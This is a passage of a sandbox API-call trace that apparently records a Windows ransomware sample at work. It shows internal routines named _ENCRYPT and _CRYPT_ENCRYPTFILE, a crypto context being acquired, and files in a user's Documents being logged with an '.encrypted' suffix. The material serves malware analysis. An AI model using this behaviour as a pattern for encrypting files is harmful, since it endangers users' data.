lpMsg=0xe8f3dfee40) returned 0 [0025.056] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.056] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.056] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.056] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.056] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.056] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.056] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.057] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.057] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4464) returned 1 [0025.057] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.057] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.057] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.057] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1170, lpOverlapped=0x0) returned 1 [0025.057] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.057] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1170, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.057] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4464) returned 1 [0025.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\My New App.encrypted.accdb\r\n", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0025.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\My New App.encrypted.accdb\r\n", cchWideChar=60, lpMultiByteStr=0xe8f4050f00, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\My New App.encrypted.accdb\r\n", lpUsedDefaultChar=0x0) returned 60 [0025.058] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051770*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051770*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3b, lpOverlapped=0x0) returned 1 [0025.058] CloseHandle (hObject=0x1fc) returned 1 [0025.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.059] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.059] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.059] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.059] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.059] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.060] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.060] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178500, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.061] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178500, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.061] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\desktop.ini", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0025.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\desktop.ini", cchWideChar=53, lpMultiByteStr=0xe8f404bf10, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\desktop.ini", lpUsedDefaultChar=0x0) returned 53 [0025.061] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\5jghkoaofdp\\documents\\my shapes\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=53, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 53 [0025.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=53, lpWideCharStr=0xe8f40659f0, cchWideChar=53 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\desktop.ini") returned 53 [0025.063] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.063] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.063] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.064] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.064] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178980, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.064] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.064] CloseHandle (hObject=0x1fc) returned 1 [0025.064] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.064] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.064] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.065] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.065] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.065] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.065] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.065] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.065] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.065] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.065] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.065] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.065] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.065] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.065] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.065] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.065] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.065] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.065] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.065] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.066] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.066] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.066] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.066] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.066] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.066] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.066] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.066] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.066] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.066] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.066] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.066] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.066] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.067] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.067] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.067] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.067] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.067] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.067] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.067] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.067] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.067] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.068] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.068] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.068] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.068] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.068] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.068] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.068] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.068] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.068] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.069] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.069] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.069] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.069] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.069] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.069] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.069] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.069] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.070] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.070] PeekMessageW (in: 